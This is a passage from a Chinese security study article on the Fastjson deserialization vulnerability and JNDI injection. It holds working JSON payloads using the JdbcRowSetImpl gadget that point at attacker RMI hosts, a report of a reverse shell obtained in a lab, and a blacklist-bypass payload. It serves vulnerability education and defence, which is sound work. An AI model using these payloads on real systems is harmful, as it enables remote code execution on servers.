System.out.println("-------------反序列化-------------");
String JSON_Serialize = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";
ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");
Object man = JSON.parse(JSON_Serialize);
System.out.println(man.getClass().getName());
System.out.println(man);
}
【注意】由于 fastjson 在 1.2.24 版本(最开始存在反序列化漏洞的版本)之后默认禁用 AutoType,因此这里我们通过 ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");
来手动开启白名单,否则会报错 “autoType is not support”。
【反序列化过程】
为了从 Fastjson 最初的漏洞版本 1.2.24 开始讨论,修改 Fastjson 版本:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
修改下 JavaBean,增加日志打印:
package com.tr0e.sec.Entity;
public class Person {
public String name;
public int age;
public Person(){}
public Person(int age, String name) {
System.out.println("调用了构造函数");
this.age = age;
this.name = name;
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
进行反序列化调用:
System.out.println("-------------反序列化-------------");
String JSON_Serialize3 = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";
System.out.println(JSON.parseObject(JSON_Serialize3));
输出结果如下所示:
可以看到 Fastjson 反序列化过程中,会调用 JavaBean 的 setter 和 getter 方法。
【反序列化漏洞】
回顾下 阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。
前面的学习示例已经演示了 AutoType 功能。小结一下:有了 AutoType 功能,那么 Fastjson 在对 JSON 字符串进行反序列化的时候,就会读取@type
到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。那么利用 AutoType 这个特性,可不可以自己构造一个 JSON 字符串,并且使用@type
指定一个自己想要使用的攻击类库?答案是肯定的。
举个例子,攻击者比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl
,这是 sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 RMI 远程调用,去指定的 RMI 地址中去调用方法。而 Fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 dbcRowSetImpl 的 dataSourceName 中设置了一个想要执行的命令,那么就会导致存在远程命令执行的风险。
比如通过以下方式定义一个 JSON 串,即可实现远程命令执行(新版本中 JdbcRowSetImpl 已经被加了黑名单):
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这就是所谓的 Fastjson 反序列化漏洞造成远程命令执行的基本原理,下面通过实际的靶场案例来进一步分析。
漏洞靶场
https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java
/*
* Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象
* Github:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
*
*/
@Api("Fastjson反序列化漏洞")
@Slf4j
@RestController
@RequestMapping("/Fastjson")
public class FastjsonVul {
@RequestMapping(value = "/vul", method = {RequestMethod.POST})
public String vul(@RequestBody String content) {
try {
// 转换成object
JSONObject jsonToObject = JSON.parseObject(content);
log.info("[vul] Fastjson");
return jsonToObject.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}
}
此靶场的 Fastjson 版本:
<!-- Fastjson 1.2.24存在rce漏洞 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.41</version>
</dependency>
一键搭建 RMI 与 ldap 服务,远程调用成功:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi",
"autoCommit":true,
"age":19,"id":2,"name":"test"
}
成功反弹 Shell:
【JdbcRowSetImpl 利用链分析】
根据 FastJson 反序列化漏洞原理,FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 利用链的核心问题出在JdbcRowSetImpl#setDataSourceName
和JdbcRowSetImpl#setAutoCommit
方法中存在可控的参数。
其中setDataSourceName(
)方法会设置 dataSource 的值:
而setAutoCommit()
会调用 connect() 方法,connect() 函数如下:
关注上面 325-326 行,熟悉的 JNDI 注入代码特征,这也解释了《Java反序列化漏洞与URLDNS利用链分析》开篇提到的疑惑,即为什么 Fastjson 反序列化漏洞利用过程采用的是 JNDI 注入。
可以通过一个简单的代码示例进一步验证下:
public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/viwnim");
JdbcRowSetImpl_inc.setAutoCommit(true);
}
【More】Fastjson 漏洞的另外一条利用链路—— Templateslmpl 利用链的原理和使用方法可以参见:《完全零基础入门Fastjson系列漏洞(基础篇)》、《Java 反序列化漏洞原理(三)fastjson 1.2.24 Templateslmpl 利用原理》。
检测工具
同样可以使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
补丁绕过
Fastjson 1.2.24 被爆出反序列化漏洞(CVE-2017-18349)之后,由于 Fastjson 被广泛运用在 Java 项目之中,受到漏洞研究人员和黑客的广泛关注,于是 Alibaba 团队发布的几个版本的补丁,陆续被业界给 Bypass 掉了,下面简单了解介绍一下这场 “战争”。
【1.2.25 -1.2.41 版本绕过】
在 1.2.24 版本会直接加载 @type 指向的类,而 1.2.25 版本增加了对类的 checkAutoType() 检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数 AutoTypeSupport。
Fastjson 默认 AutoTypeSupport 为False(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。
// 全局开启AutoType,不建议使用
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");
可以看到在开启白名单的条件下无法加载到我们的利用类:
这里我们修改autoTypeSupport=true
,跟进TypeUtils#loadClass
看一下:
- 如果以
[
开头则去掉[后进行类加载(在之前 Fastjson 已经判断过是否为数组了,实际走不到这一步); - 如果以
L
开头,以;
结尾,则去掉开头和结尾进行类加载;
那么加上L
开头和;
结尾实际上就可以绕过所有黑名单。Payload 如下:
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi",
"autoCommit":true
}
AutoType 安全模式
Fastjson 漏洞的利用几乎都是围绕 AutoType 来的,于是在 v1.2.68 版本中,Fastjson 引入了 safeMode 属性,配置 safeMode 后,无论白名单和黑名单,都不支持 autoType,设置了 safeMode 后,@type
字段不再生效,即当解析形如{"@type":"com.java.class"}
的 JSON 串时,将不再反序列化出对应的类,可一定程度上缓解反序列化类变种攻击。
ParserConfig.getGlobalInstance().setSafeMode(true);
【More】Fastjson 被 Bypass 的补丁版本还涉及 1.2.42、1.2.43、1.2.44、1.2.45、1.2.47、1.2.48、1.2.68、1.2.80 等,值得另外整体学习,后续会单独学习记录下各个版本的 Bypass 原理和方式,以及 Fastjson 通过 Templateslmpl 利用链远程加载恶意类的字节码完成 RCE 的原理。
总结
本文学习了 JNDI 基本概念和 JNDI 注入的基本原理,并通过靶场实践 JNDI 注入漏洞的利用过程,与此同时学习了 Log4j RCE 漏洞(CVE-2021-44228)和 Fastjson 反序列化漏洞(CVE-2017-18349)的原理,并通过靶场实践借助 JNDI 注入完成 RCE 的过程。
这个过程中也可以看到著名的 Java 第三方组件也可能隐藏着“显而易见”的致命漏洞(相信 Log4j 能够“潜伏”那么多年估计也是诸多 Java 安全研究员始料未及的),在具备扎实的基本功和熟练了解相关组件特性的情况下,或许挖洞者跟漏洞之间的距离就差一颗敢于质疑、敢于挑战的心?
本文参考文章如下:
- JNDI注入详解 - FreeBuf;
- JNDI注入利用原理及绕过高版本JDK限制;
- Apache Log4j2 漏洞分析 | Gta1ta’s Blog;
- Apache Log4j2 Jndi RCE 高危漏洞分析与防御;
- Java安全:Fastjson反序列化漏洞 - 枫のBlog;
- 强烈推荐:完全零基础入门Fastjson系列漏洞(基础篇);